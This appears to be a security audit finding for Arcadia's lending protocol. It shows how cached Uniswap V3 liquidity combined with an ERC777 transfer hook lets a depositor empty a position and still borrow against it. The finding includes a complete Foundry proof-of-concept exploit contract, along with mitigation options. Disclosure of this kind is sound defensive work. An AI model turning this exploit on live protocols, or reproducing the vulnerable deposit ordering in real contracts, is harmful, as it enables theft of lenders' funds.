Caching Uniswap position liquidity allows borrowing using undercollateralized Uni positions
It is possible to fake the amount of liquidity held in a Uniswap V3 position, making the protocol believe the Uniswap position has more liquidity than the actual liquidity deposited in the position. This makes it possible to borrow using undercollateralized Uniswap positions.\\nWhen depositing into an account, the `deposit()` function is called, which calls the internal `_deposit()` function. Depositing is performed in two steps:\\nThe registry's `batchProcessDeposit()` function is called. This function checks if the deposited assets can be priced, and in case that a creditor is set, it also updates the exposures and underlying assets for the creditor.\\nThe assets are transferred and deposited into the account.\\n```\\n// AccountV1.sol\\n\\nfunction _deposit(\\n        address[] memory assetAddresses,\\n        uint256[] memory assetIds,\\n        uint256[] memory assetAmounts,\\n        address from\\n    ) internal {\\n        // If no Creditor is set, batchProcessDeposit only checks if the assets can be priced.\\n        // If a Creditor is set, batchProcessDeposit will also update the exposures of assets and underlying assets for the Creditor.\\n        uint256[] memory assetTypes =\\n            IRegistry(registry).batchProcessDeposit(creditor, assetAddresses, assetIds, assetAmounts);\\n\\n        for (uint256 i; i < assetAddresses.length; ++i) {\\n            // Skip if amount is 0 to prevent storing addresses that have 0 balance.\\n            if (assetAmounts[i] == 0) continue;\\n\\n            if (assetTypes[i] == 0) {\\n                if (assetIds[i] != 0) revert AccountErrors.InvalidERC20Id();\\n                _depositERC20(from, assetAddresses[i], assetAmounts[i]);\\n            } else if (assetTypes[i] == 1) {\\n                if (assetAmounts[i] != 1) revert AccountErrors.InvalidERC721Amount();\\n                _depositERC721(from, assetAddresses[i], assetIds[i]);\\n            } else if (assetTypes[i] == 2) {\\n                _depositERC1155(from, assetAddresses[i], assetIds[i], assetAmounts[i]);\\n            } else {\\n                revert AccountErrors.UnknownAssetType();\\n            }\\n        }\\n\\n        if (erc20Stored.length + erc721Stored.length + erc1155Stored.length > ASSET_LIMIT) {\\n            revert AccountErrors.TooManyAssets();\\n        }\\n    }\\n```\\n\\nFor Uniswap positions (and assuming that a creditor is set), calling `batchProcessDeposit()` will internally trigger the UniswapV3AM.processDirectDeposit():\\n```\\n// UniswapV3AM.sol\\n\\nfunction processDirectDeposit(address creditor, address asset, uint256 assetId, uint256 amount)\\n        public\\n        override\\n        returns (uint256 recursiveCalls, uint256 assetType)\\n    {\\n        // Amount deposited of a Uniswap V3 LP can be either 0 or 1 (checked in the Account).\\n        // For uniswap V3 every id is a unique asset -> on every deposit the asset must added to the Asset Module.\\n        if (amount == 1) _addAsset(assetId);\\n\\n        // rest of code\\n    }\\n```\\n\\nThe Uniswap position will then be added to the protocol using the internal `_addAsset()` function. One of the most important actions performed inside this function is to store the liquidity that the Uniswap position has in that moment. Such liquidity is obtained from directly querying the NonfungiblePositionManager contract:\\n```\\nfunction _addAsset(uint256 assetId) internal {\\n        // rest of code\\n\\n        (,, address token0, address token1,,,, uint128 liquidity,,,,) = NON_FUNGIBLE_POSITION_MANAGER.positions(assetId);\\n\\n        // No need to explicitly check if token0 and token1 are allowed, _addAsset() is only called in the\\n        // deposit functions and there any deposit of non-allowed Underlying Assets will revert.\\n        if (liquidity == 0) revert ZeroLiquidity();\\n\\n        // The liquidity of the Liquidity Position is stored in the Asset Module,\\n        // not fetched from the NonfungiblePositionManager.\\n        // Since liquidity of a position can be increased by a non-owner,\\n        // the max exposure checks could otherwise be circumvented.\\n        assetToLiquidity[assetId] = liquidity;\\n\\n        // rest of code\\n    }\\n```\\n\\nAs the snippet shows, the liquidity is stored in a mapping because “Since liquidity of a position can be increased by a non-owner, the max exposure checks could otherwise be circumvented.”. From this point forward, and until the Uniswap position is withdrawn from the account, the collateral value (i.e the amount that the position is worth) will be computed utilizing the `_getPosition()` internal function, which will read the cached liquidity value stored in the `assetToLiquidity[assetId]` mapping, rather than directly consulting the NonFungibleManager contract. This way, the position won't be able to surpass the max exposures:\\n```\\n// UniswapV3AM.sol\\n\\nfunction _getPosition(uint256 assetId)\\n        internal\\n        view\\n        returns (address token0, address token1, int24 tickLower, int24 tickUpper, uint128 liquidity)\\n    {\\n        // For deposited assets, the liquidity of the Liquidity Position is stored in the Asset Module,\\n        // not fetched from the NonfungiblePositionManager.\\n        // Since liquidity of a position can be increased by a non-owner, the max exposure checks could otherwise be circumvented.\\n        liquidity = uint128(assetToLiquidity[assetId]);\\n\\n        if (liquidity > 0) {\\n            (,, token0, token1,, tickLower, tickUpper,,,,,) = NON_FUNGIBLE_POSITION_MANAGER.positions(assetId);\\n        } else {\\n            // Only used as an off-chain view function by getValue() to return the value of a non deposited Liquidity Position.\\n            (,, token0, token1,, tickLower, tickUpper, liquidity,,,,) = NON_FUNGIBLE_POSITION_MANAGER.positions(assetId);\\n        }\\n    }\\n```\\n\\nHowever, storing the liquidity leads to an attack vector that allows Uniswap positions' liquidity to be comlpetely withdrawn while making the protocol believe that the Uniswap position is still full.\\nAs mentioned in the beginning of the report, the deposit process is done in two steps: processing assets in the registry and transferring the actual assets to the account. Because processing assets in the registry is the step where the Uniswap position's liquidity is cached, a malicious depositor can use an ERC777 hook in the transferring process to withdraw the liquidity in the Uniswap position.\\nThe following steps show how the attack could be performed:\\nInitially, a malicious contract must be created. This contract will be the one holding the assets and depositing them into the account, and will also be able to trigger the ERC777's `tokensToSend()` hook.\\nThe malicious contract will call the account's `deposit()` function with two `assetAddresses` to be deposited: the first asset must be an ERC777 token, and the second asset must be the Uniswap position.\\n`IRegistry(registry).batchProcessDeposit()` will then execute. This is the first of the two steps taking place to deposit assets, where the liquidity from the Uniswap position will be fetched from the NonFungiblePositionManager and stored in the `assetToLiquidity[assetId]` mapping.\\nAfter processing the assets, the transferring phase will start. The first asset to be transferred will be the ERC777 token. This will trigger the `tokensToSend()` hook in our malicious contract. At this point, our contract is still the owner of the Uniswap position (the Uniswap position won't be transferred until the ERC777 transfer finishes), so the liquidity in the Uniswap position can be decreased inside the hook triggered in the malicious contract. This leaves the Uniswap position with a smaller liquidity amount than the one stored in the `batchProcessDeposit()` step, making the protocol believe that the liquidity stored in the position is the one that the position had prior to starting the attack.\\nFinally, and following the transfer of the ERC777 token, the Uniswap position will be transferred and succesfully deposited in the account. Arcadia will believe that the account has a Uniswap position worth some liquidity, when in reality the Uni position will be empty.\\nProof of Concept\\nThis proof of concept show show the previous attack can be performed so that the liquidity in the uniswap position is 0, while the collateral value for the account is far greater than 0.\\nCreate a `ERC777Mock.sol` file in `lib/accounts-v2/test/utils/mocks/tokens` and paste the code found in this github gist.\\nImport the ERC777Mock and change the MockOracles, MockERC20 and Rates structs in `lib/accounts-v2/test/utils/Types.sol` to add an additional `token777ToUsd`, `token777` of type ERC777Mock and `token777ToUsd` rate:\\n`import "../utils/mocks/tokens/ERC777Mock.sol"; // <----- Import this\\n\\n...\\n\\nstruct MockOracles {\\n    ArcadiaOracle stable1ToUsd;\\n    ArcadiaOracle stable2ToUsd;\\n    ArcadiaOracle token1ToUsd;\\n    ArcadiaOracle token2ToUsd;\\n    ArcadiaOracle token3ToToken4;\\n    ArcadiaOracle token4ToUsd;\\n    ArcadiaOracle token777ToUsd; // <----- Add this\\n    ArcadiaOracle nft1ToToken1;\\n    ArcadiaOracle nft2ToUsd;\\n    ArcadiaOracle nft3ToToken1;\\n    ArcadiaOracle sft1ToToken1;\\n    ArcadiaOracle sft2ToUsd;\\n}\\n\\nstruct MockERC20 {\\n    ERC20Mock stable1;\\n    ERC20Mock stable2;\\n    ERC20Mock token1;\\n    ERC20Mock token2;\\n    ERC20Mock token3;\\n    ERC20Mock token4;\\n    ERC777Mock token777; // <----- Add this\\n}\\n\\n...\\n\\nstruct Rates {\\n    uint256 stable1ToUsd;\\n    uint256 stable2ToUsd;\\n    uint256 token1ToUsd;\\n    uint256 token2ToUsd;\\n    uint256 token3ToToken4;\\n    uint256 token4ToUsd;\\n    uint256 token777ToUsd; // <----- Add this\\n    uint256 nft1ToToken1;\\n    uint256 nft2ToUsd;\\n    uint256 nft3ToToken1;\\n    uint256 sft1ToToken1;\\n    uint256 sft2ToUsd;\\n}`\\nReplace the contents inside `lib/accounts-v2/test/fuzz/Fuzz.t.sol` for the code found in this github gist.\\nNext step is to replace the file found in `lending-v2/test/fuzz/Fuzz.t.sol` for the code found in this github gist.\\nCreate a `PocUniswap.t.sol` file in `lending-v2/test/fuzz/LendingPool/PocUniswap.t.sol` and paste the following code snippet into it:\\n`/**\\n * Created by Pragma Labs\\n * SPDX-License-Identifier: BUSL-1.1\\n */\\npragma solidity 0.8.22;\\n\\nimport { LendingPool_Fuzz_Test } from "./_LendingPool.fuzz.t.sol";\\n\\nimport { IPermit2 } from "../../../lib/accounts-v2/src/interfaces/IPermit2.sol";\\nimport { UniswapV3AM_Fuzz_Test, UniswapV3Fixture, UniswapV3AM, IUniswapV3PoolExtension, TickMath } from "../../../lib/accounts-v2/test/fuzz/asset-modules/UniswapV3AM/_UniswapV3AM.fuzz.t.sol";\\nimport { ERC20Mock } from "../../../lib/accounts-v2/test/utils/mocks/tokens/ERC20Mock.sol";\\n\\nimport "forge-std/console.sol";\\n\\ninterface IERC721 {\\n    function ownerOf(uint256 tokenid) external returns(address);\\n    function approve(address spender, uint256 tokenId) external;\\n}\\n \\n/// @notice Proof of Concept - Arcadia\\ncontract Poc is LendingPool_Fuzz_Test, UniswapV3AM_Fuzz_Test { \\n\\n    /////////////////////////////////////////////////////////////////\\n    //                         CONSTANTS                           //\\n    /////////////////////////////////////////////////////////////////\\n    int24 private MIN_TICK = -887_272;\\n    int24 private MAX_TICK = -MIN_TICK;\\n\\n    /////////////////////////////////////////////////////////////////\\n    //                          STORAGE                            //\\n    /////////////////////////////////////////////////////////////////\\n    AccountOwner public accountOwnerContract;\\n    ERC20Mock token0;\\n    ERC20Mock token1;\\n    uint256 tokenId;\\n\\n    /////////////////////////////////////////////////////////////////\\n    //                          SETUP                              //\\n    /////////////////////////////////////////////////////////////////\\n\\n    function setUp() public override(LendingPool_Fuzz_Test, UniswapV3AM_Fuzz_Test) {\\n        // Setup pool test\\n        LendingPool_Fuzz_Test.setUp();\\n\\n        // Deploy fixture for Uniswap.\\n        UniswapV3Fixture.setUp();\\n\\n        deployUniswapV3AM(address(nonfungiblePositionManager));\\n\\n        vm.startPrank(users.riskManager);\\n        registryExtension.setRiskParametersOfDerivedAM(\\n            address(pool), address(uniV3AssetModule), type(uint112).max, 100\\n        );\\n \\n        token0 = mockERC20.token1;\\n        token1 = mockERC20.token2;\\n        (token0, token1) = token0 < token1 ? (token0, token1) : (token1, token0);\\n\\n        // Deploy account owner\\n        accountOwnerContract = new AccountOwner(address(nonfungiblePositionManager));\\n\\n        \\n        // Set origination fee\\n        vm.startPrank(users.creatorAddress);\\n        pool.setOriginationFee(100); // 1%\\n\\n        // Transfer ownership to Account Owner \\n        vm.startPrank(users.accountOwner);\\n        factory.safeTransferFrom(users.accountOwner, address(accountOwnerContract), address(proxyAccount));\\n        vm.stopPrank();\\n        \\n\\n        // Mint uniswap position underlying tokens to accountOwnerContract\\n        mockERC20.token1.mint(address(accountOwnerContract), 100 ether);\\n        mockERC20.token2.mint(address(accountOwnerContract), 100 ether);\\n\\n        // Open Uniswap position \\n        tokenId = _openUniswapPosition();\\n \\n\\n        // Transfer some ERC777 tokens to accountOwnerContract. These will be used to be deposited as collateral into the account\\n         vm.startPrank(users.liquidityProvider);\\n         mockERC20.token777.transfer(address(accountOwnerContract), 1 ether);\\n    }\\n\\n    /////////////////////////////////////////////////////////////////\\n    //                           POC                               //\\n    /////////////////////////////////////////////////////////////////\\n    /// @notice Test exploiting the reentrancy vulnerability. \\n    function testVuln_borrowUsingUndercollateralizedUniswapPosition(\\n        uint128 amountLoaned,\\n        uint112 collateralValue,\\n        uint128 liquidity,\\n        uint8 originationFee\\n    ) public {   \\n\\n        //----------            STEP 1            ----------//\\n        // Open margin account setting pool as new creditor\\n        vm.startPrank(address(accountOwnerContract));\\n        proxyAccount.openMarginAccount(address(pool)); \\n        \\n        //----------            STEP 2            ----------//\\n        // Deposit assets into account. The order of the assets to be deposited is important. The first asset will be an ERC777 token that triggers the callback on transferring.\\n        // The second asset will be the uniswap position.\\n\\n        address[] memory assetAddresses = new address[](2);\\n        assetAddresses[0] = address(mockERC20.token777);\\n        assetAddresses[1] = address(nonfungiblePositionManager);\\n        uint256[] memory assetIds = new uint256[](2);\\n        assetIds[0] = 0;\\n        assetIds[1] = tokenId;\\n        uint256[] memory assetAmounts = new uint256[](2);\\n        assetAmounts[0] = 1; // no need to send more than 1 wei as the ERC777 only serves to trigger the callback\\n        assetAmounts[1] = 1;\\n        // Set approvals\\n        IERC721(address(nonfungiblePositionManager)).approve(address(proxyAccount), tokenId);\\n        mockERC20.token777.approve(address(proxyAccount), type(uint256).max);\\n\\n        // Perform deposit. \\n        // Deposit will perform two steps:\\n        // 1. processDeposit(): this step will handle the deposited assets and verify everything is correct. For uniswap positions, the liquidity in the position\\n        // will be stored in the `assetToLiquidity` mapping.\\n        // 2.Transferring the assets: after processing the assets, the actual asset transfers will take place. First, the ER777 colallateral will be transferred. \\n        // This will trigger the callback in the accountOwnerContract (the account owner), which will withdraw all the uniswap position liquidity. Because the uniswap \\n        // position liquidity has been cached in step 1 (processDeposit()), the protocol will still believe that the uniswap position has some liquidity, when in reality\\n        // all the liquidity from the position has been withdrawn in the ERC777 `tokensToSend()` callback. \\n        proxyAccount.deposit(assetAddresses, assetIds, assetAmounts);\\n\\n        //----------       FINAL ASSERTIONS       ----------//\\n        // Collateral value fetches the `assetToLiquidity` value cached prior to removing position liquidity. This does not reflect that the position is empty,\\n        // hence it is possible to borrow with an empty uniswap position.\\n        uint256 finalCollateralValue = proxyAccount.getCollateralValue();\\n\\n        // Liquidity in the position is 0.\\n        (\\n            ,\\n            ,\\n            ,\\n            ,\\n            ,\\n            ,\\n            ,\\n            uint128 liquidity,\\n            ,\\n            ,\\n            ,\\n        ) = nonfungiblePositionManager.positions(tokenId); \\n\\n        console.log("Collateral value of account:", finalCollateralValue);\\n        console.log("Actual liquidity in position", liquidity);\\n\\n        assertEq(liquidity, 0);\\n        assertGt(finalCollateralValue, 1000 ether); // Collateral value is greater than 1000\\n    } \\n\\n    function _openUniswapPosition() internal returns(uint256 tokenId) {\\n        vm.startPrank(address(accountOwnerContract));\\n       \\n        uint160 sqrtPriceX96 = uint160(\\n            calculateAndValidateRangeTickCurrent(\\n                10 * 10**18, // priceToken0\\n                20 * 10**18 // priceToken1\\n            )\\n        );\\n\\n        // Create Uniswap V3 pool initiated at tickCurrent with cardinality 300.\\n        IUniswapV3PoolExtension uniswapPool = createPool(token0, token1, TickMath.getSqrtRatioAtTick(TickMath.getTickAtSqrtRatio(sqrtPriceX96)), 300);\\n\\n        // Approve liquidity\\n        mockERC20.token1.approve(address(uniswapPool), type(uint256).max);\\n        mockERC20.token2.approve(address(uniswapPool), type(uint256).max);\\n\\n        // Mint liquidity position.\\n        uint128 liquidity = 100 * 10**18;\\n        tokenId = addLiquidity(uniswapPool, liquidity, address(accountOwnerContract), MIN_TICK, MAX_TICK, false);\\n \\n        assertEq(IERC721(address(nonfungiblePositionManager)).ownerOf(tokenId), address(accountOwnerContract));\\n    }\\n \\n}\\n\\n/// @notice ERC777Sender interface\\ninterface IERC777Sender {\\n    /**\\n     * @dev Called by an {IERC777} token contract whenever a registered holder's\\n     * (`from`) tokens are about to be moved or destroyed. The type of operation\\n     * is conveyed by `to` being the zero address or not.\\n     *\\n     * This call occurs _before_ the token contract's state is updated, so\\n     * {IERC777-balanceOf}, etc., can be used to query the pre-operation state.\\n     *\\n     * This function may revert to prevent the operation from being executed.\\n     */\\n    function tokensToSend(\\n        address operator,\\n        address from,\\n        address to,\\n        uint256 amount,\\n        bytes calldata userData,\\n        bytes calldata operatorData\\n    ) external;\\n}\\n\\ninterface INonfungiblePositionManager {\\n     function positions(uint256 tokenId)\\n        external\\n        view\\n        returns (\\n            uint96 nonce,\\n            address operator,\\n            address token0,\\n            address token1,\\n            uint24 fee,\\n            int24 tickLower,\\n            int24 tickUpper,\\n            uint128 liquidity,\\n            uint256 feeGrowthInside0LastX128,\\n            uint256 feeGrowthInside1LastX128,\\n            uint128 tokensOwed0,\\n            uint128 tokensOwed1\\n        );\\n\\n    struct DecreaseLiquidityParams {\\n        uint256 tokenId;\\n        uint128 liquidity;\\n        uint256 amount0Min;\\n        uint256 amount1Min;\\n        uint256 deadline;\\n    }\\n    function decreaseLiquidity(DecreaseLiquidityParams calldata params)\\n        external\\n        payable\\n        returns (uint256 amount0, uint256 amount1);\\n}\\n\\n /// @notice AccountOwner contract that will trigger the attack via ERC777's `tokensToSend()` callback\\ncontract AccountOwner is IERC777Sender  {\\n\\n        INonfungiblePositionManager public nonfungiblePositionManager;\\n\\n        constructor(address _nonfungiblePositionManager) {\\n            nonfungiblePositionManager = INonfungiblePositionManager(_nonfungiblePositionManager);\\n        }\\n\\n     function tokensToSend(\\n        address operator,\\n        address from,\\n        address to,\\n        uint256 amount,\\n        bytes calldata userData,\\n        bytes calldata operatorData\\n    ) external {\\n        // Remove liquidity from Uniswap position\\n       (\\n            ,\\n            ,\\n            ,\\n            ,\\n            ,\\n            ,\\n             ,\\n            uint128 liquidity,\\n            ,\\n            ,\\n            ,\\n        ) = nonfungiblePositionManager.positions(1); // tokenId 1\\n\\n        INonfungiblePositionManager.DecreaseLiquidityParams memory params = INonfungiblePositionManager.DecreaseLiquidityParams({\\n            tokenId: 1,\\n            liquidity: liquidity,\\n            amount0Min: 0,\\n            amount1Min: 0,\\n            deadline: block.timestamp\\n        });\\n        nonfungiblePositionManager.decreaseLiquidity(params);\\n    }\\n  \\n\\n    function onERC721Received(address, address, uint256, bytes calldata) public pure returns (bytes4) {\\n        return bytes4(abi.encodeWithSignature("onERC721Received(address,address,uint256,bytes)"));\\n    }\\n\\n}`\\nExecute the following command being inside the `lending-v2` folder: `forge test --mt testVuln_borrowUsingUndercollateralizedUniswapPosition -vvvvv`.\\nNOTE: It is possible that you find issues related to code not being found. This is because the Uniswap V3 deployment uses foundry's `vm.getCode()` and we are importing the deployment file from the `accounts-v2` repo to the `lending-v2` repo, which makes foundry throw some errors. To fix this, just compile the contracts in the `accounts-v2` repo and copy the missing folders from the `accounts-v2/out` generated folder into the `lending-v2/out` folder.
There are several ways to mitigate this issue. One possible option is to perform the transfer of assets when depositing at the same time that the asset is processed, instead of first processing the assets (and storing the Uniswap liquidity) and then transferring them. Another option is to perform a liquidity check after depositing the Uniswap position, ensuring that the liquidity stored in the assetToLiquidity[assetId] mapping and the one returned by the NonFungiblePositionManager are the same.
High. The protocol will always believe that there is liquidity deposited in the Uniswap position while in reality the position is empty. This allows for undercollateralized borrows, essentially enabling the protocol to be drained if the attack is performed utilizing several uniswap positions.
```\\n// AccountV1.sol\\n\\nfunction _deposit(\\n        address[] memory assetAddresses,\\n        uint256[] memory assetIds,\\n        uint256[] memory assetAmounts,\\n        address from\\n    ) internal {\\n        // If no Creditor is set, batchProcessDeposit only checks if the assets can be priced.\\n        // If a Creditor is set, batchProcessDeposit will also update the exposures of assets and underlying assets for the Creditor.\\n        uint256[] memory assetTypes =\\n            IRegistry(registry).batchProcessDeposit(creditor, assetAddresses, assetIds, assetAmounts);\\n\\n        for (uint256 i; i < assetAddresses.length; ++i) {\\n            // Skip if amount is 0 to prevent storing addresses that have 0 balance.\\n            if (assetAmounts[i] == 0) continue;\\n\\n            if (assetTypes[i] == 0) {\\n                if (assetIds[i] != 0) revert AccountErrors.InvalidERC20Id();\\n                _depositERC20(from, assetAddresses[i], assetAmounts[i]);\\n            } else if (assetTypes[i] == 1) {\\n                if (assetAmounts[i] != 1) revert AccountErrors.InvalidERC721Amount();\\n                _depositERC721(from, assetAddresses[i], assetIds[i]);\\n            } else if (assetTypes[i] == 2) {\\n                _depositERC1155(from, assetAddresses[i], assetIds[i], assetAmounts[i]);\\n            } else {\\n                revert AccountErrors.UnknownAssetType();\\n            }\\n        }\\n\\n        if (erc20Stored.length + erc721Stored.length + erc1155Stored.length > ASSET_LIMIT) {\\n            revert AccountErrors.TooManyAssets();\\n        }\\n    }\\n```\\n